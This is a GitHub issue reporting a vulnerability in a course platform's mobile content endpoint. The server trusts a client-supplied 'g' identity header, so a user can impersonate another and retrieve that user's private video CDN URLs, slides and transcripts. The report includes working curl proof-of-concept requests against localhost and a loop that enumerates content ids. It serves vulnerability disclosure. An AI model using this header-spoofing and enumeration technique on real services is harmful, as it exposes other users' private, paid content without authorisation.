Skip to content

bug:IDOR on GET /api/mobile/courses/{courseId}/{collectionId}/{contentId} — Attacker-Controlled g Header Bypasses Content Access Check, Exposing VideoMetadata (CDN URLs, PDF Slides, Transcripts) #1934

Description

@0x0meowsec

Describe the bug
The mobile content endpoint GET /api/mobile/courses/{courseId}/{collectionId}/{contentId} returns the full Content row — including the nested VideoMetadata object (1080p CDN mp4/m3u8 URLs, PDF slide links, transcript segments) — based on the identity asserted in the client-supplied g header, rather than a value derived from the server session. checkUserContentAccess trusts this header directly: setting g to another user's id grants that user's course entitlements without holding their credentials.

To Reproduce

Steps to Reproduce

Two isolated test accounts with distinct, attributable data:

User | id | Owns courses | Private content | CDN asset -- | -- | -- | -- | -- testuser@example.com | 1 | 1, 2 | content 4 | USER1-SECRET-ONLY-1080.mp4 testuser2@example.com | 2 | 1, 5 | content 5 | USER2-SECRET-ONLY-1080.mp4
  1. Request own content with g: {"id":"1"} — confirm baseline 200 on owned content.
  2. Replay the identical request against victim content, changing only the g header's id value to 2:
    GET /api/mobile/courses/5/5/5 with g: {"id":"2"} → 200 OK, response body contains user 2's private VideoMetadata.
  3. Holding g at {"id":"2"}, increment contentId sequentially to confirm the access check never re-validates ownership per content row.
  4. PoC

    Step 1 — baseline: g={"id":"1"} on own content -> 200 (control)

    curl -k 'http://localhost:3000/api/mobile/courses/1/1/4'
    -H 'Host: localhost:3000'
    -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36'
    -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8'
    -H 'Accept-Language: en-US,en;q=0.8'
    -H 'Auth-Key: anything'
    -H 'g: {"id":"1"}'
    -w ' <- g={"id":"1"} on own content [%{http_code}]\n'

    Step 2 — only the g header's id changes -> 200, leaks victim content

    curl -k 'http://localhost:3000/api/mobile/courses/1/1/5'
    -H 'Host: localhost:3000'
    -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36'
    -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8'
    -H 'Accept-Language: en-US,en;q=0.8'
    -H 'Auth-Key: anything'
    -H 'g: {"id":"2"}'
    -w ' <- g={"id":"2"} on victim content [%{http_code}]\n'
    | grep -oE 'USER2-SECRET-ONLY[^"]*' | head -1

    Step 3 — sequential contentId enumeration under g={"id":"2"}

    for cid in 1 2 3 4 5 6; do
    curl -k "http://localhost:3000/api/mobile/courses/1/1/$cid"
    -H 'Auth-Key: anything'
    -H 'g: {"id":"2"}'
    -w " <- contentId=$cid [%{http_code}]\n"
    | grep -oE 'USER2-SECRET-ONLY[^"]*'
    done

    Result: changing only the g header's id value deterministically returns another user's private, DRM-gated 1080p CDN URL — a resource that request had no entitlement to.

    Expected behavior
    Access should be determined by the validated server session, not the client-supplied g header. Regardless of g's value, a request for content the session's actual user doesn't own should always return 403 — checked per contentId, not just per courseId.

    Screenshots or GIFs
    For User2:

    Image

    For user1:

    Image

    Info (please complete the following information):

    • Browser: Brave
    • Version: v1.91.175
    • Tools Used : Caido proxy tool

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions